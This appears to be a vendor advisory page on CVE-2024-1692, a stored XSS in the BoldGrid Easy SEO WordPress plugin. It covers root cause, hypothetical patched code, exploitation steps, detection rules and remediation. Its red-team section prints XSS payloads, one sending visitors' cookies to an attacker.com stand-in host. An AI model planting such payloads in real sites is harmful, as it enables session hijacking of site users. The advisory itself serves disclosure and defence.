CVE-2024-1692
Executive Summary
CVE-2024-1692 is a Stored Cross-Site Scripting (XSS) vulnerability in the BoldGrid Easy SEO – Simple and Effective SEO plugin for WordPress. The flaw exists in all versions up to and including 1.6.13, where the meta description field fails to properly sanitize user input and escape output. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious meta description, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is within the WordPress plugin ecosystem and does not affect the underlying web server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 1.6.14 or later once a patch is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the meta description field of the BoldGrid Easy SEO plugin. When a user with contributor-level or higher permissions edits a post or page, they can input arbitrary HTML/JavaScript into the meta description field. The plugin does not sanitize this input before storing it in the database. When the page is rendered, the meta description is output without proper escaping, allowing the injected script to execute in the context of the visitor's browser.
Root Cause: Insufficient input sanitization and output escaping on the meta description attribute. The plugin likely uses echo $meta_description instead of echo esc_attr( $meta_description ) or similar safe output functions.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a post/page.
- Attacker inserts malicious JavaScript into the meta description field (e.g.,
<script>alert('XSS')</script>). - The malicious payload is stored in the WordPress database.
- When any user (including admins) visits the affected page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.6.13):
// In the plugin's meta box output
echo '<meta name="description" content="' . $meta_description . '" />';
Patched Code (Hypothetical fix):
// Properly escape the output
echo '<meta name="description" content="' . esc_attr( $meta_description ) . '" />';
The patched version would use esc_attr() to HTML-encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with BoldGrid Easy SEO plugin <= 1.6.13
- Contributor-level account or higher
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- In the BoldGrid Easy SEO meta box, enter the following payload in the meta description field:
<script>alert('XSS')</script> - Publish the post.
- Visit the published post as any user to trigger the XSS.
Advanced Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual meta description content in WordPress database.
- Look for posts containing
<script>tags in the_boldgrid_easy_seo_meta_descriptionpost meta field.
Hardening:
- Update to the latest patched version once available.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in meta fields. - Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/boldgrid-easy-seo/boldgrid-easy-seo.php(version <= 1.6.13) - Database: Post meta key
_boldgrid_easy_seo_meta_descriptioncontaining<script>tags or encoded JavaScript. - Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress debug log entries showing unexpected HTML in meta fields.
Detection Engineering
YARA Rule
rule CVE_2024_1692_BoldGrid_XSS {
meta:
description = "Detects stored XSS payloads in BoldGrid Easy SEO meta description"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1692"
strings:
$meta_key = "_boldgrid_easy_seo_meta_description"
$xss_payload = /<script[^>]*>.*?<\/script>/is
condition:
$meta_key and $xss_payload
}
Sigma Rule
title: Stored XSS in BoldGrid Easy SEO Meta Description
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the BoldGrid Easy SEO plugin meta description field
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
meta_key: "_boldgrid_easy_seo_meta_description"
meta_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in meta descriptions (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1692 BoldGrid Easy SEO Stored XSS"; flow:to_server,established; content:"_boldgrid_easy_seo_meta_description"; nocase; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to the latest version once a patch is released (check WordPress plugin repository).
- Disable the plugin if no patch is available and the risk is unacceptable.
- Audit existing content for malicious meta descriptions using the YARA rule above.
Long-term Mitigation:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a WordPress security plugin that monitors for XSS attempts.
- Enforce principle of least privilege: only grant contributor access to trusted users.
- Regularly backup the WordPress database to recover from defacement.
Workaround (if patching is not possible):
- Add a custom function to your theme's
functions.phpto sanitize the meta description output:
add_filter( 'boldgrid_easy_seo_meta_description', 'sanitize_meta_description' );
function sanitize_meta_description( $description ) {
return esc_attr( $description );
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.